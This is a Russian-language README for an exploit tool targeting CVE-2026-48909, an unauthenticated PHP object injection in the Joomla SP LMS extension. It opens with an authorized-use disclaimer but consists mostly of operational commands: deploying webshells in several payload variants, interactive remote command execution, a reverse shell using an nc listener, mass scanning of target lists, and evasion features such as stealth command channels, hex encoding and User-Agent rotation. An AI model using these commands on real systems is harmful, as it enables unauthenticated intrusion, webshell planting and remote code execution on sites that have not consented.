[!IMPORTANT]
Только для авторизованного использования. Этот инструмент предназначен для исследований в области безопасности, обучения и тестирования систем, которые принадлежат вам или на которые у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за неправомерное использование.
Содержание
Обзор
CVE-2026-48909 — критическая неаутентифицированная PHP-инъекция объектов в расширении Joomla SP LMS. Данный инструмент реализует полную цепочку атаки, позволяя специалистам по безопасности проверить воздействие в лабораторных или авторизованных средах.
Он охватывает обнаружение, поиск путей, доставку нагрузки, интерактивную постэксплуатацию (если разрешено), массовую оценку и необязательную очистку.
Детали уязвимости
| Атрибут | Значение |
|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (Критическая) |
| Вектор атаки | Сеть — без аутентификации |
| Воздействие | Удаленное выполнение кода |
| Затронутый продукт | Joomla SP LMS |
| Затронутые версии | 1.0.0 – 4.1.3 |
| Исправленная версия | SP LMS 4.1.4+ |
| Цепочка гаджетов | Требуется Joomla < 5.2.2 |
Матрица совместимости
| Компонент | Версия | RCE |
|---|
| SP LMS | < 4.1.4 | Уязвим |
| SP LMS | ≥ 4.1.4 | Исправлен |
| Joomla | < 5.2.2 | Цепочка гаджетов работоспособна |
| Joomla | ≥ 5.2.2 | Цепочка гаджетов исправлена |
Возможности
Основные
| Возможность | Описание |
|---|
| Неаутентифицированная эксплуатация | Учетные данные не требуются |
| Множество нагрузок | 7 вариантов веб-шеллов / исполнения |
| Интерактивная оболочка | Сессия с историей команд после развертывания |
| Поиск пути | Автоматический поиск путей для записи |
| Очистка | Удаление развернутого веб-шелла после тестов |
Оценка и эксплуатация
| Возможность | Описание |
|---|
| Массовое сканирование | Многопоточный список целей (1000+) |
| Поддержка прокси | HTTP/SOCKS (Burp, ZAP и др.) |
| Реверс-шелл | Нагрузки с прослушивателем |
| Скрытый режим | Каналы команд через заголовки / POST |
| Рандомизация | UUID-имена шеллов, ротация User-Agent |
| Отчетность | Экспорт в JSON, HTML или CSV |
| Помощь в обнаружении | Проверка версий Joomla, --check-only, --safe-mode |
Примечания по обходу защиты
- По возможности избегает символов, блокируемых фильтром
cmd в Joomla
- Шестнадцатеричное кодирование пути записи PHP для уменьшения проблем с base64-заполнением / слешами
- Настраиваемые задержки и ротация User-Agent
- Логика повторных попыток для нескольких кандидатов на инъекцию / путь
Установка
Предварительные требования
- Python 3.6+
pip
- Сетевая доступность до целевой(ых) системы(м) в рамках тестирования
Настройка
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
Зависимости
requests>=2.31.0
urllib3>=2.0.0
argparse поставляется со стандартной библиотекой Python; устанавливать его через pip не требуется.
Быстрый старт
Замените https://target.example на лабораторную или авторизованную цель.
Одна цель — поиск пути + интерактивная оболочка
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Безопасные проверки (без эксплуатации)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
Массовое сканирование
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
Реверс-шелл (авторизованная лаборатория)
# Прослушиватель
nc -lvnp 4444
# Цель эксплуатации
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
Руководство по использованию
Поиск пути
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
Известный путь для записи
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
Интерактивная сессия
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Однократная команда
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
Скрытая нагрузка + интерактив
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
Прокси (Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
Очистка
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
Формат списка целей
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
Справочник по аргументам
Цель
| Аргумент | Описание |
|---|
target | URL одной цели |
--targets, -T FILE | Файл со списком целей (по одному URL на строку) |
--path PATH | Абсолютный серверный путь для веб-шелла |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Имя файла веб-шелла (по умолчанию: x.php) |
Сеть
| Аргумент | Описание |
|---|
--timeout SECONDS | Тайм-аут запроса (по умолчанию: 15) |
--insecure | Пропустить проверку TLS-сертификата |
--proxy URL | Например, http://127.0.0.1:8080 |
--random-ua | Ротация User-Agent (включено по умолчанию) |
--delay SECONDS | Задержка между запросами |
Реверс-шелл
| Аргумент | Описание |
|---|
--reverse-host HOST | Хост прослушивателя |
--reverse-port PORT | Порт прослушивателя |
Режимы
| Аргумент | Описание |
|---|
--interactive, -i | Интерактивная оболочка после развертывания |
--check-only | Только проверка уязвимости |
--safe-mode | Неразрушающее тестирование |
--find-path | Автоматическое обнаружение пути для записи |
--cmd COMMAND | Выполнить одну команду и завершить работу |
--cleanup PATH | Удалить веб-шелл по указанному пути |
--cleanup-after | Очистка после эксплуатации |